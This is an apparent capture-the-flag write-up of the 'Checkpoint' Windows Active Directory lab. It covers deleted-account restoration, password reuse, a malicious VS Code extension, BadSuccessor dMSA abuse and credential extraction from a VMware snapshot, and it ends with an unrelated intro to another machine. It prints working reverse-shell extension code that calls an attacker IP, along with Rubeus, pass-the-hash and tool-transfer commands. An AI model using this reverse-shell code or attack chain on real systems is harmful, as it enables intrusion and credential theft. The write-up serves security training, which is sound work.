Checkpoint is a Windows machine that explores several interesting aspects of Active Directory security. What begins with a simple set of domain credentials quickly turns into a multi-stage adventure involving deleted AD objects, password reuse, a malicious VS Code extension, dMSA abuse through BadSuccessor and VMware memory forensics.

Each compromised account opens another door, eventually leading us to Domain Administrator. Along the way, we’ll explore some fascinating Active Directory weaknesses, uncover forgotten credentials and discover that sometimes the best place to hide a password is inside a virtual machine snapshot.😅

Let’s check in to Checkpoint and see how far a little enumeration can take us!

About Checkpoint

• OS: Windows
• Difficulty: Medium
• Release Date: 13 Jun, 2026

Initial Access and Workspace Preparation

The assessment begins with the credentials provided by the machine:

• Username: alex.turner
• Password: Checkpoint2024!

Before interacting with the target, I prepared a dedicated working directory to keep scan results, enumeration files, scripts and other artifacts organized:

mkdir Checkpoint && cd Checkpoint 

I then verfied connectivity to the target:

ping -c 3 10.129.146.77

Network Enumeration with Nmap

I started a TCP scan using Nmap:

sudo nmap -sCV --reason -oN checkpoint.nmap 10.129.146.77

The scan identified the following open ports:

• Port 53 (DNS) — Domain Name Resolution
• Port 88 (Kerberos) — Active Directory Authentication
• Port 135 (MSRPC) — Microsoft RPC endpoint mapper
• Port 139 (NetBIOS-SSN) — NetBIOS session service
• Port 389 (LDAP) — Active Directory Services
• Port 445 (SMB) — Server Message Block
• Port 464 (Kpasswd) — Kerberos password change service
• Port 593 (RPC over HTTP) — RPC over HTTP transport
• Port 636 (LDAPS) — LDAP over SSL/TLS
• Port 3268 (Global Catalog LDAP) — Active Directory Global Catalog
• Port 3269 (Global Catalog LDAPS) — Secure Global Catalog
• Port 5985 (WinRM) — Windows Remote Management over HTTP

The combination of Kerberos, LDAP, SMB, DNS and Global Catalog services strongly suggested that this was an Active Directory Domain Controller.

Several additional details were worth noting:

• SMB signing was required
• SMBv1 was disabled
• The host identified itself as DC01
• The domain was checkpoint.htb
• A clock skew

The clock discrepancy was particularly important because Kerberos is time-sensitive. Significant differences between the client and the domain controller clocks can cause authentication failures.

At this point, I had enough information to begin Active Directory enumeration.

Host Management and Domain Resolution

To make hostname resolution easier, I used NetExec to generate a hosts file from the target:

nxc smb 10.129.146.77 --generate-hosts-file checkpoint_hosts

The generated file contained the following entry:

10.129.146.77     DC01.checkpoint.htb checkpoint.htb DC01 

I appended it to /etc/hosts:

cat checkpoint_hosts | sudo tee -a /etc/hosts

This allowed me to interact with the domain controller using its hostname and fully qualified domain name rather than relying exclusively on its IP address.

Hostname resolution is particularly useful when working with Kerberos and Active Directory tools, where the domain controller’s FQDN can be important for service principal names and authentication.

Active Directory Enumeration with NetExec

With the host configuration in place, I began testing the supplied credentials against exposed services.

I upgraded my NetExec version with (Required for this particular machine!):

sudo apt update && sudo apt install --only-upgrade netexec

Authentication Testing

I first tested SMB:

nxc smb DC01.checkpoint.htb -u alex.turner -p 'Checkpoint2024!'

• The authentication succeeded.

Next, I tested LDAP:

nxc ldap DC01.checkpoint.htb -u alex.turner -p 'Checkpoint2024!'

• LDAP authentication also succeeded.

Finally, I checked WinRM:

nxc winrm DC01.checkpoint.htb -u alex.turner -p 'Checkpoint2024!'

• Unlike SMB and LDAP, WinRM authentication failed

Note: Successful authentication against one service does not automatically grant access to another. Each service has its own authentication and authorization requirements.

Enumerating Domain Users

I used NetExec to enumerate domain users:

nxc ldap DC01.checkpoint.htb -u alex.turner -p 'Checkpoint2024!' --users

• The initial enumeration identified 17 users.

I also exported the results for later comparison:

nxc ldap DC01.checkpoint.htb -u alex.turner -p 'Checkpoint2024!' --users-export

Maintaining enumeration results is useful when investigating changes in the environment. It also makes it easier to compare accounts discovered at different stages of an assessment.

Kerbersoasting, AS-REP Roasting and gMSA Enumeration

Next, I checked for accounts with Service Principal Names that might be vulnerable to Kerberoasting:

nxc ldap DC01.checkpoint.htb -u alex.turner -p 'Checkpoint2024!' --kerberoast kerberoast

• The command returned no Kerberoastable account records. The disabled krbtgt account was skipped.

I then checked for accounts that did not require Kerberos pre-authentication:

nxc ldap DC01.checkpoint.htb -u alex.turner -p 'Checkpoint2024!' --asreproast asreproast

• No AS-REP roastable entries were returned.

Finally, I checked for Group Managed Service Accounts:

nxc ldap DC01.checkpoint.htb -u alex.turner -p 'Checkpoint2024!' --gmsa 

• The output indicated that NetExec was attempting to retrieve gMSA passwords, but did not establish that any password had actually been recovered.

These checks did not immediately provide another credential, but they helped establish which common Active Directory attack paths were not producing results at this stage.

SMB Share Enumeration

SMB was one of the most interesting services exposed by the target. I started enumerating the available shares:

nxc smb DC01.checkpoint.htb -u alex.turner -p 'Checkpoint2024!' --shares

• Among the shares DevDrop share immediately stood out with READ permissions and the comment VS Code extensions share for approved .vsix packages compatible with VS Code engine 1.118.0 which indicated that it was intended for approaved VS Code extension packages compatible with VS Code engine version 1.118.0
• I also noticed the VMBackups share, which would become important later.

Enumerating Shares with smbclient

To investigate the available shares further, I used smbclient:

smbclient -L //checkpoint.htb -U alex.turner%Checkpoint2024!

• This returned the available SMB shares.

I then attempted to access DevDrop:

smbclient //checkpoint.htb/DevDrop -U alex.turner%Checkpoint2024! -c 'ls'

• The directory was empty at the time of enumeration.

I also attempted to access VMBackups:

smbclient //checkpoint.htb/VMBackups -U alex.turner%Checkpoint2024! -c 'ls'

• Listing its contents returned an error.
• The share was visible, but the current account did not have permission to enumerate its contents. Discovering a share does not mean having access to it.

Active Directory Enumeration with RustHound-CE

With the initial enumeration complete, I moved to BloodHound-based analysis to identify relationships and delegated permissions that might expose an attack path.

For data collection, I used RustHound-CE.

We need an updated version of RustHound-CE, if you get some errors updating execute the command:

LIBGSSAPI_IMPL=mit cargo install rusthound-ce

Initial LDAP Collection Attempt

My first attempt used the supplied domain credentials:

rusthound-ce -d checkpoint.htb -u alex.turner -p 'Checkpoint2024!' -z  

• The connection failed with an LDAP authentication error
• The server indicated that integrity checking was required when binding without SSL/TLS.
• This was not a credential failure. It was an LDAP security requirement.

I then attempted Kerberos authentication:

rusthound-ce -d checkpoint.htb -u alex.turner -p 'Checkpoint2024!' -z -k

• This attempt also failed. RustHound-CE indicated that Kerberos required the domain controller’s FQDN to be configured through options.ldapfqdn.

Synchronizing the System Clock

Earlier Nmap enumeration had identified a significant clock difference between the attack machine and the domain controller.

I corrected the local clock using:

sudo ntpdate 10.129.146.77 

• The Kerberos authentication is sensitive to time differences, so synchronizing the clock is an important troubleshooting step.
• However, clock synchronization alone did not resolve the RustHound-CE configuration issues.

Generating Kerberos Configuration

I used NetExec to generate a Kerberos configuration file:

nxc smb DC01.checkpoint.htb -u alex.turner -p 'Checkpoint2024!' --generate-krb5-file checkpoint_krb5.conf

• The generated configuration contained the CHECKPOINT.HTB realm and identified dc01.checkpoint.htb as the KDC and administrative server.

I exported the configuration:

export KRB5_CONFIG=checkpoint_krb5.conf

• This prepared the Kerberos client environment, but the collection still required a valid Kerberos ticket and the correct LDAP configuration.

Obtaining a Kerberos Ticket

I installed the Kerberos client utilities:

sudo apt install krb5-user -y

Then I requested a Kerberos ticket for Alex Turner:

kinit alex.turner

After entering the password, I retried RustHound-CE, explicitly providing the domain controller’s FQDN:

rusthound-ce -d checkpoint.htb -f DC01.checkpoint.htb -z -k

• This time, LDAP connectivity and directory collection succeeded.

• A BloodHound archive was generated.
• There was, however, a warning concerning GPO and SYSVOL collection: SYSVOL collection failed: — kerberos set but KRB5CCNAME is not defined
• The warning did not invalidate the LDAP results, but it did indicate that some data was unavailable.

Analyzing Active Directory with BloodHound

After collecting the directory data, I started my BloodHound Docker update:

sudo docker compose pull

I then started BloodHound:

sudo docker-compose up -d

I imported the RustHound-CE zip archive into BloodHound.

Identifying the Initial User

I searched for alex.turner

After locating the account, I marked it as owned.

Its group memberships included:

• VPN-USERS
• IT-STAFF
• DOMAIN USERS

The next step was to examine its Outbound Object Control relationships.

Discovering Control Over a Deleted Account

BloodHound revealed that alex.turner had GenericWrite over the deleted user account mark.davies.

• This was an interesting finding because deleted objects are not necessarily irrelevant to an Active Directory assessment.
• The relationship suggested that the deleted account and the permissions associated with it deserved further investigation.

I also used BloodHound’s built-in Map OU Structure query, which revealed an OU named DMSAHOLDER

I made a note of this OU for later investigation.

At this stage, there were two interesting leads:

1. The deleted mark.davies account.
2. The DMSAHOLDER OU

The next step was to validate the permissions identified by BloodHound.

Validating Permissions with BloodyAD

I used BloodyAD to enumerate objects writable by the initial account:

bloodyad --host DC01.checkpoint.htb -d checkpoint.htb -u alex.turner -p 'Checkpoint2024!' get writable

• The most relevant finding was the WRITE access associated with the Deleted Objects container and the deleted Mark Davies object.

Examining Alex Turner’s Group Memberships

I also checked the account’s group memberships:

bloodyad --host DC01.checkpoint.htb -d checkpoint.htb -u alex.turner -p 'Checkpoint2024!' get membership alex.turner

The account belonged to:

• Builtin Users
• Domain Users
• IT-Staff
• VPN-Users

The results were consistent with BloodHound’s group membership information.

The combination of the deleted-object permissions and the discovered account made Mark Davies the next logical target.

Restoring the Deleted Mark Davies Account

The next step was to determine whether the deleted account could be restored.

I started by enumerating the users again:

nxc ldap DC01.checkpoint.htb -u alex.turner -p 'Checkpoint2024!' --users

I then used BloodyAD to restore the account:

 bloodyad --host DC01.checkpoint.htb -d checkpoint.htb -u alex.turner -p 'Checkpoint2024!' set restore mark.davies

• The operation succeeded.
• This moved the account out of the Deleted Objects container and restored it under the Employees OU.

Confirmation of the Restored Account

I enumerated the users again and exported the results:

nxc ldap DC01.checkpoint.htb -u alex.turner -p 'Checkpoint2024!' --users-export checkpoint_recovered_user.txt

• The new export contained 18 users, including mark.davies.

To identify the difference between the original and recovered lists, I used:

diff checkpoint_initial_users.txt checkpoint_recovered_user.txt

The output confirmed that Mark Davies had been added to the recovered user list.

An Alternative Restoration Method with NetExec

NetExec also provides a tombstone module for working with deleted Active Directory objects.

I first queried the deleted objects:

nxc ldap DC01.checkpoint.htb -u alex.turner -p 'Checkpoint2024!' -M tombstone -o ACTION=query

• The output identified Mark Davies provided the deleted objects’s GUID: 2217e877-e2a2–47d7–91d4–99ede36f367e

I then restored it using the GUID:

nxc ldap DC01.checkpoint.htb -u alex.turner -p 'Checkpoint2024!' -M tombstone -o ACTION=restore ID=2217e877-e2a2-47d7-91d4-99ede36f367e

• The module reported a successful restoration.

NOTE: I had to spawn a new instance of the Checkpoint machine hence the different IP address 10.129.16.90 to showcase restoration of the user using NetExec

Interestingly, the Last Password Set timestamps for Alex Turner and Mark Davies were very close:

 alex.turner                   2026-05-09 10:00:08 0
 mark.davies                   2026-05-09 10:00:48 0

• The timestamps were only 40 seconds apart. This was an interesting clue, although was not sufficient by itself to establish password reuse.
• The next step was to test this hypothesis directly.

Authenticating as Mark Davies

I tested the initially supplied password against the restored account.

SMB Authentication

nxc smb DC01.checkpoint.htb -u mark.davies -p 'Checkpoint2024!'

• Authentication succeeded

LDAP Authentication

nxc ldap DC01.checkpoint.htb -u mark.davies -p 'Checkpoint2024!'

• LDAP authentication also succeeded.

WinRM Authentication

nxc winrm DC01.checkpoint.htb -u mark.davies -p 'Checkpoint2024!'

• WinRM authentication failed.
• The results confirmed that the restored account reused the supplied password, but its access was still limited by service-specific authorization.

Updating BloodHound

Before restoration, mark.davies user in BloodHound showed a DELETED OBJECTS container:

Because the Active Directory environment had changed, I collected the directory data again:

rusthound-ce -d checkpoint.htb -f DC01.checkpoint.htb -z -k

I imported the new archive into BloodHound.

The Mark Davies object now appeared under EMPLOYEES OU rather than the Deleted Objects Container:

I also checked the account’s group memberships:

bloodyad --host DC01.checkpoint.htb -d checkpoint.htb -u mark.davies -p 'Checkpoint2024!' get membership mark.davies

The account belonged to:

• Builtin Users
• Domain Users

BloodHound showed the same general membership information.

At first glance, all these did not appear particularly interesting. However, the SMB share permissions told a different story.

Discovering Write Access to DevDrop

I enumerated the SMB shares using Mark Davies’ credentials:

nxc smb DC01.checkpoint.htb -u mark.davies -p 'Checkpoint2024!' --shares

• This time the DevDrop share showed: DevDrop READ,WRITE
• This was different from the initial account, which had read-only access.
• The share was described as a repository for approved VS Code extension packages compatible with VS Code engine version 1.118.0.
• This suggested a possible path to code execution if the environment automatically installed or loaded extensions from that location.

Before attempting anything against the target, I decided to build and test an extension locally.

Developing a VS Code Extension

The objective was to create a VS Code extension package that could establish a reverse shell when activated.

I first prepared the development environment on my Kali machine.

Installing Node.js with NVM

I installed Node Version Manager:

curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.41.0/install.sh | bash

After opening a new terminal, I installed Node.js:

nvm install 26

I verified the installation:

node -v

npm -v

npx -v

Installing Visual Studio Code

I downloaded the Linux Debian package:

wget "https://code.visualstudio.com/sha/download?build=stable&os=linux-deb-x64"

Then I installed it:

sudo apt install ./code_1.145.0-1793749366_amd64.deb

Generating the Extension Project

I used the official VS Code extension generator to scaffold a project:

npx --package yo --package generator-code -- yo code

• The generator created the initial extension structure, including package.json and src/extension.ts.
• The package.json file contained the extension’s metadata and VS Code compatibility information.

The original configuration included:

"engines": {
    "vscode": "^1.145.0"
  },
"activationEvents": [],
"devDependencies": {
    "@types/vscode": "^1.145.0",
}

The target share specified compatibility with VS Code engine version 1.118.0, so I adjusted the relevant version declarations:

"engines": {
    "vscode": "^1.118.0"
  },
"activationEvents": ["onStartupFinished"],
"devDependencies": {
    "@types/vscode": "^1.118.0",
  },

• The onStartupFinished activation event allows an extension to activate after VS Code has completed its startup process.
• The caret (^) in the version declaration defines a compatible version range rather than an exact version pin. There, ^1.118.0 is not strictly limited to version 1.118.0.

Preparing the Extension

The modified extension implementation used Node.js’s child_process module to launch a shell and the net module to establish a TCP connection to the attack machine.

// The module 'vscode' contains the VS Code extensibility API
// Import the module and reference it with the alias vscode in your code below
import * as vscode from 'vscode';

// This method is called when your extension is activated
// Your extension is activated the very first time the command is executed
export function activate(context: vscode.ExtensionContext) {
    var net = require("net"),
    cp = require("child_process"),
    sh = cp.spawn("sh", []);
    var client = new net.Socket();
    client.connect(9001, "10.10.14.162", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/;
}


// This method is called when your extension is deactivated
export function deactivate() {}

I also installed the VS Code Extension Manager:

npm install -g @vscode/vsce

I attempted to package the extension:

vsce package

The first attempt failed because the generated README still contained template content.

I replaced it with a simple project description:

## Features

Spawns a shell

After updating the README, I ran the packaging command again:

vsce package

The package was generated successfully nato-0.0.1.vsix

The packaging process reported warnings about missing repository and license metadata, but these did not prevent package generation.

Testing the Extension Locally

Before interacting with the target, I installed the extension locally:

code --install-extension nato-0.0.1.vsix

I started a listener:

nc -lnvp 9001

Then I launched VS Code.

The listener received a connection: connect to [10.10.14.162] from (UNKNOWN) [10.10.14.162] 50882

• This confirmed that the extension’s connection logic worked locally.
• However, the source and destination addresses were both the attack machine’s address. This was a local validation, not evidence of remote code execution on the target.
• There was also an important compatibility consideration: the original implementation launched sh, which is not a suitable shell for a native Windows environment.
• I therefore needed to adapt the implementation before deploying it to the Windows target.

Obtaining a Shell as Ryan Brooks

After validating the extension locally, I modified the implementation to launch PowerShell instead of a Unix shell.

The updated extension.ts contained:

// The module 'vscode' contains the VS Code extensibility API
// Import the module and reference it with the alias vscode in your code below
import * as vscode from 'vscode';

// This method is called when your extension is activated
// Your extension is activated the very first time the command is executed
export function activate(context: vscode.ExtensionContext) {
    var net = require("net"),
    cp = require("child_process"),
    sh = cp.spawn("powershell.exe", []);
    var client = new net.Socket();
    client.connect(9001, "10.10.14.162", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/;
}


// This method is called when your extension is deactivated
export function deactivate() {}

I then repackaged the extension:

vsce package

Starting the Listener

I prepared a listener with rlwrap to improve interactive shell usability:

rlwrap -cAr nc -lvnp 9001

Uploading the Extension to DevDrop

Before uploading the package, I confirmed that the share was empty:

smbclient //checkpoint.htb/DevDrop -U mark.davies%Checkpoint2024! -c 'ls'

I then uploaded the extension:

smbclient //checkpoint.htb/DevDrop -U mark.davies%Checkpoint2024! -c 'put nato-0.0.1.vsix nato-0.0.1.vsix'

To confirm that the upload succeeded, I listed the share again:

smbclient //checkpoint.htb/DevDrop -U mark.davies%Checkpoint2024! -c 'ls'

Receiving the Reverse Shell

After a short wait, the listener received a connection from the target.

I checked the current identity using whoami and the result was checkpoint\ryan.brooks

• This confirmed that the extension deployment mechanism had resulted in code execution under the Ryan Brooks account.

The difference between a local test and the target test was now clear: the local test validated the extension’s connection behavior, while the remote connection confirmed execution in the target environment.

Retrieving the User Flag

With a shell as Ryan Brooks, I navigated to the user’s Desktop and retrieved the flag:

Set-Location C:\Users\ryan.brooks\Desktop

Enumerating the Environment as Ryan Brooks

Before moving further, I wanted to understand the resources accessible to the new identity.

The uploaded extension was located under the DevDrop directory under C:\shares.

• I also attempted to enumerate VMBackups but this returned an access-denied error.
• The backup remained inaccessible to Ryan Brooks as expected.

At this point, the next logical step was to investigate Ryan’s Active Directory permissions and identify whether they exposed another escalation path.

Investigating the BadSuccessor Attack Surface

Checkpoint was running Windows Server 2025, making it worthwhile to investigate the dMSA-related BadSuccessor attack surface.

From the Ryan Brooks shell, I inspected the operating system version:

Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion"

This confirmed that the target was running Windows Server 2025, Build 26100

Checking for BadSuccessor Support

Back on my attack machine, I checked the available NetExec modules:

nxc ldap DC01.checkpoint.htb -u alex.turner -p 'Checkpoint2024!' -L

The output include a module name badsuccessor.

Note: This requires an up to date version of NetExec

I executed the module (any user can do, in this scenario):

nxc ldap DC01.checkpoint.htb -u alex.turner -p 'Checkpoint2024!' -M badsuccessor

This provided indication that dMSA-related attack surface was relevant to the environment.

Understanding BadSuccessor

• Delegated Managed Service Accounts are designed to support managed service-account migration and succession.
• BadSuccessor is a privilege escalation technique involving weaknesses in the handling fo dMSA succession relationships. Under vulnerable conditions, an attacker with suitable delegated permissions can create and manipulate a dMSA in a way that allows it to obtain authentication material associated with a superseded account.
• The security implications depend on the permissions and configuration of the environment.
• In this assessment, the objective was to determine whether Ryan Brooks had the necessary permissions over the relevant OU and service account.

Enumerating Ryan Brooks’ Active Directory Permissions

I returned to BloodHound and examined Ryan Brooks’ account.

His group memberships included:

• DEVTEAM
• VPN-USERS
• DOMAIN USERS

More importantly, BloodHound identified GenericWrite over the svc_deploy service account.

I also inspected the groups associated with svc_deploy and identified:

• BACKUPACCESS
• REMOTEMANAGEMENT

This was particularly interesting because the VMBackups share had previously been inaccessible.

• This suggested that if we pawned the svc_deploy account we might have access to the VMBackups share since they are a member of BackupAccess Group.

Preparing Kerberos Authentication with Rubeus

Before executing the BadSuccessor operation, I prepared the necessary Kerberos authentication material.

I created a directory for the supporting executable:

mkdir www && cd www

I downloaded Rubeus from SharpCollection:

wget "https://github.com/Flangvik/SharpCollection/raw/refs/heads/master/NetFramework_4.7_Any/Rubeus.exe"

I verified the file:

file Rubeus.exe

I started a temporary HTTP server from the directory:

 python -m http.server 

On the target, I downloaded Rubeus into C:\ProgramData:

wget http://10.10.14.162:8000/Rubeus.exe -o Rubeus.exe

The file was successfully transfered.

Extracting Kerberos Ticket

On the target, I executed:

./Rubeus.exe tgtdeleg /nowrap

Rubeus successfully performed the delegation request and extracted Kerberos ticket material from the delegation exchange.

I copied the Base64 output into a local file and decoded it:

cat ryan.brooks.kirbi.b64 | base64 -d > ryan.brooks.kirbi

Then I parsed the resulting ticket:

pypykatz kerberos kirbi parse ryan.brooks.kirbi

I converted the ticket into a credential cache:

impacket-ticketConverter ryan.brooks.kirbi ryan.brooks.ccache

Then I exported the cache:

export KRB5CCNAME=ryan.brooks.ccache 

I then used BloodyAD to enumerate Active Directory objects and identify the permissions assigned to this account.

bloodyad --host DC01.checkpoint.htb -d checkpoint.htb -k get writable

The output revealed several interesting permissions, but two entries stood out:

• OU=DMSAHolder — permission: CREATE_CHILD: Ryan could create new objects within this OU. This would become particularly important when creating a Delegated Managed Service Account (dMSA).
• CN=svc_deploy,OU=ServiceAccounts — permission: WRITE: Ryan had write permissions over the svc_deploy service account, making it a potential target for the dMSA succession attack.

This findings exposed an interesting privilege escalation opportunity: Ryan could create a dMSA in the DMSAHOLDER OU and modify the relationship with svc_deploy. This provided the permissions needed to investigate the BadSuccessor dMSA abuse technique.

Exploiting BadSuccessor

With the relevant permissions identified and the Kerberos authentication context preparation, I proceeded with the BadSuccessor operation using BloodyAD.

bloodyad --host DC01.checkpoint.htb -d checkpoint.htb -k add badSuccessor nato_dmsa --ou 'OU=DMSAHolder,DC=checkpoint,DC=htb' -t 'CN=svc_deploy,OU=ServiceAccounts,DC=checkpoint,DC=htb'

• add badSuccessor: invokes the BadSuccessor operation.
• nato_dmsa: The name of the new dMSA.
• — ou: The OU in which to create the dMSA.
• -t: The target service account involved in the succession relationship.

• The operation reported that it created nato_dmsa$ under the DMSAHolder OU and used the svc_deploy account as the superseded account.
• The output also included the newly generated dMSA key.
• The previous RC4 key was particularly interesting because it was associated with the superseded account.
• Given the attack context, I treated it as a candidate NT hash for svc_deploy.
• However, a recovered key should not be considered confirmed until it has been validated against the actual account.

Pivoting to svc_deploy

I used the recovered RC4 value to test authentication as svc_deploy.

Validating the Recovered Hash

First, I tested SMB authentication:

nxc smb DC01.checkpoint.htb -u svc_deploy -H  'e16081eb077aca74bdbf8af12af43ac9'

• The result confirmed successful authentication

I then tested LDAP:

nxc ldap DC01.checkpoint.htb -u svc_deploy -H  'e16081eb077aca74bdbf8af12af43ac9'

• LDAP authentication also succeeded

Finally, I tested WinRM:

nxc winrm DC01.checkpoint.htb -u svc_deploy -H  'e16081eb077aca74bdbf8af12af43ac9'

• WinRM authentication succeeded!

The successful authentication across these services confirmed that the recovered RC4 value was usable as the account’s NT hash

Enumerating svc_deploy Memberships

I checked the account’s group memberships:

bloodyad --host DC01.checkpoint.htb -d checkpoint.htb -k get membership svc_deploy 

The account belonged to:

• Builtin Users
• Remote Management Users
• Domain Users
• BackupAccess

Two memberships were particularly relevant:

• Remote Management Users was consistent with the successful WinRM authentication.
• BackupAccess was a strong lead for investigating the previously inaccessible backup share.

The next step was to enumerate SMB shares using the recovered account.

Accessing the VMBackups Share

I enumerated the shares again using the svc_deploy credentials:

nxc smb DC01.checkpoint.htb -u svc_deploy -H  'e16081eb077aca74bdbf8af12af43ac9' --shares

• This time, VMBackups showed read access. The previously inaccessible share was now available.

Enumerating the Backup Files

I used smbclient to recursively list the contents:

smbclient //checkpoint.htb/VMBackups -U svc_deploy --pw-nt-hash e16081eb077aca74bdbf8af12af43ac9 -c 'recurse;ls'

The output revealed a backup directory which had several VMware artifacts

The vmem file was particularly interesting because it represented the virtual machine’s memory contents.

A memory image can contain sensitive runtime information, including authentication artifacts that may not be available through ordinary filesystem enumeration.

This was potentially a much more valuable source of information than the virtual disk itself.

Establishing an Interactive Shell as svc_deploy

Since WinRM authentication had succeeded, I established an interactive session using Evil-WinRM:

evil-winrm -i DC01.checkpoint.htb -u svc_deploy -H 'e16081eb077aca74bdbf8af12af43ac9'

Confirmation of identity revealed checkpoint\svc_deploy

Enumerating the Share Directories

I inspected the share structure:

tree /f C:\Shares\

The output confirmed the presence of:

• DevDrop, containing the uploaded VS Code extension.
• VMBackups, containing the NightlyBackup_2024–11–01 directory and VMware artifacts.

I navigated to the memory forensics directory:

The account now provided access to the backup artifacts that had been inaccessible during the earlier stages of the assessment.

Preparing VMKatz

The next objective was to analyze the VMware snapshot and identify whether it contained useful authentication material.

You can choose to download the VMware artficats and analyze them locally using a framework like Volatility (But this would take a significant amount of time).

Since downloading the snapshot would take a lot of time I decided to use vmkatz to analyze the snapshot remotely.

I donwloaded VMKatz from its Github release page:

wget "https://github.com/nikaiw/VMkatz/releases/download/v1.5.2/vmkatz-v1.5.2-windows-x86_64.zip"

I extracted the archive:

7z x vmkatz-v1.5.2-windows-x86_64.zip

Transferring VMKatz to the Target

I started another temporary HTTP server:

python -m http.server

From the Evil-WinRM session, I downloaded the executable:

wget http://10.10.14.162:8000/vmkatz.exe -o C:\ProgramData\vmkatz.exe

• VMKatz was now available on the target and I could proceed with snapshot analysis.

Extracting Administrator Credentials from the VMware Snapshot

The most interesting file in the backup directory was the VMware snapshot state file: Windows Server 2019-Snapshot1.vmsn

I executed VMKatz against it from the existing Evil-WinRM session:

C:\ProgramData\vmkatz.exe "Windows Server 2019-Snapshot1.vmsn"

VMKatz began analyzing the image. It reported a memory constraint. Despite the warning, processing continued.

The tool performed system discovery, process enumeration and registry hive recovery

Recovering SAM Hashes

VMKatz recovered the system boot key and extracted SAM hashes.

The most important result was the has associated with RID 500, the built-in Administrator account.

Examining LSA Secrets and Logon Sessions

VMKatz also recovered LSA secrets, including DPAPI_SYSTEM and NL$KM

It also identified three logon sessions, two of which contained credentials.

The relevant session belonged to the Administrator, which exposed the same NT hash recovered from the SAM database.

Although no plaintext password was recovered, the NT hash was sufficient to attempt Pass-the-Hash authentication.

You can also use VMKatz to analyze the vmem file:

Authenticating as Administrator

With the Administrator NT hash recovered, I returned to Kali and tested it against the live domain controller.

SMB Authentication

nxc smb DC01.checkpoint.htb -u administrator -H 'f29e9c014295b9b32139b09a2790be3b'

• The result confirmed successful authentication.

LDAP Authentication

nxc ldap DC01.checkpoint.htb -u administrator -H 'f29e9c014295b9b32139b09a2790be3b'

• LDAP authentication also succeeded.

WinRM Authentication

nxc winrm DC01.checkpoint.htb -u administrator -H 'f29e9c014295b9b32139b09a2790be3b'

• WinRM authentication succeeded as well.
• The recovered hash was now validated across SMB, LDAP and WinRM
• This provided the access required to establish an interactive administrative session.

Obtaining a Domain Administrator Shell

I connected to the domain controller using Evil-WinRM:

evil-winrm -i DC01.checkpoint.htb -u administrator -H 'f29e9c014295b9b32139b09a2790be3b'

• The connection was successful.
• I then moved to the Administrator profile and enumerated its contents. Interestingly, there was no root.txt file in the Administrator’s Desktop.
• Having Domain Administrator access did not mean I could simply assume where the flag was stored. I continued enumerating the domain’s privileged users.

Enumerating Domain Admins

I returned to BloodHound and used the Map Domain Admins query.

The results showed that, in addition to the built-in Administrator, another user name max.palmer belonged to the Domain Admins Group

I verified this from the PowerShell session:

Get-ADGroupMember -Identity "Domain Admins" | Select-Object Name, SamAccountName, ObjectClass

Retrieving the Root Flag

I navigated to Max Palmer’s user profile:

cd C:\Users\max.palmer

Then I enumerated its contents:

tree /f

This time, the output revealed root.txt on the Desktop

I navigated to the Desktop and retrieved the flag.

Conclusion

Checkpoint was a great reminder that compromising an Active Directory environment doesn’t always require a flashy exploit. Sometimes, all it takes is a forgotten account, a little password reuse and permissions that probably deserved a second look.

From restoring deleted objects and hijacking a VS Code extension to abusing dMSA succession and extracting credentials from a VMware snapshot, every stage revealed another weakness in the environment. Eventually these discoveries led us from an ordinary domain user to full Domain Administrator access.

The biggest takeaway? Never understimate the power of enumeration and never assume deleted accounts, backup files or seemingly harmless permissions are harmless. In Checkpoint, even the backups had secrets to spill!

Tools and Technologies Used

Network and Service Enumeration

• Nmap — Network Discovery, port scanning and service detection
• NetExec — SMB, LDAP and WinRM authentication testing and enumeration
• smbclient — SMB share enumeration and file operations

Active Directory Enumeration and Analysis

• RustHound-CE — Active Directory data collection for BloodHound
• BloodHound — Visualizing directory relationships and attack paths
• BloodyAD — Active Directory object and permission enumeration and manipulation
• krb5-user — Kerberos client utilities and authentication

Kerberos and Credential Analysis

• Rubeus — Kerberos ticket operations
• pypykatz — Parsing credential artifacts and Kerberos tickets
• VMKatz — VMware memory snapshot analysis

Application Development and Packaging

• Node.js — JavaScript runtime for extension development
• npm / npx — Package management and development tool execution
• Visual Studio Code — Extension development and testing
• vsce — Packaging VS Code extensions
• revshells — Reverse shell payload reference and generation

File Transfer and Remote Access

• Python — Temporary HTTP server for file transfer
• curl — Downloading resources
• wget — Downloading tools and transferring files
• Evil-WinRM — Interactive Windows remote management
• Netcat — Receiving TCP connections
• rlwrap — Improving Interactive shell usability

Supporting Utilities

• 7z — Extracting downloaded archives
• file — Identifying file formats
• diff — Comparing enumeration results
• PowerShell — Windows enumeration and administration
• Git — Retrieving tools and source code

References

Active Directory and BadSuccessor Research

• Understanding and Mitigating BadSuccessor — SpectreOps
• BadSuccessor Is Dead? Analyzing the BadSuccessor Patch — Akamai

VS Code Extension Development

• Node.js — Download and Installation
• Visual Studio Code — Download
• Visual Studio Code — Linux Installation
• Your First VS Code Extension
• Extension Activation Events
• Publishing VS Code Extensions
• Reverse Shell Generator — revshells

Windows Tools and Credential Analysis

• SharpCollection — Flangvik
• VMKatz — GitHub

SMB Enumeration

• smbclient — Hackviser

Logging is a Windows Active Directory machine that perfectly demonstrates how a chain of seemingly harmless misconfigurations can evolve into a complete domain compromise. Rather than relying on a single critical vulnerability, this box rewards careful enumeration, attention to detail, and a solid understanding of Active Directory internals.

Our journey begins with leaked credentials which only allow us to gain initial foothold. From there, we progressively enumerate the domain, uncover password management weaknesses, abuse delegated permissions over Group Managed Service Accounts (gMSAs), pivot through a managed service account, exploit an insecure software update mechanism, leverage Active Directory Certificate Services (AD CS) misconfigurations, and finally weaponize a rogue WSUS server to obtain administrative access to the Domain Controller.

If that sounds like a lot — trust me it is.

This machine is essentially a guided tour through several real-world Active Directory attack techniques, including:

• Initial credential discovery
• LDAP and BloodHound enumeration
• Password reset abuse
• Group Managed Service Account (gMSA) exploitation
• Scheduled task and application analysis
• DLL hijacking through an insecure update process
• Active Directory Certificate Services (AD CS) enumeration
• ESC17 certificate abuse
• WSUS Man-in-the-Middle attack
• Privilege escalation to local administrator
• Full domain compromise

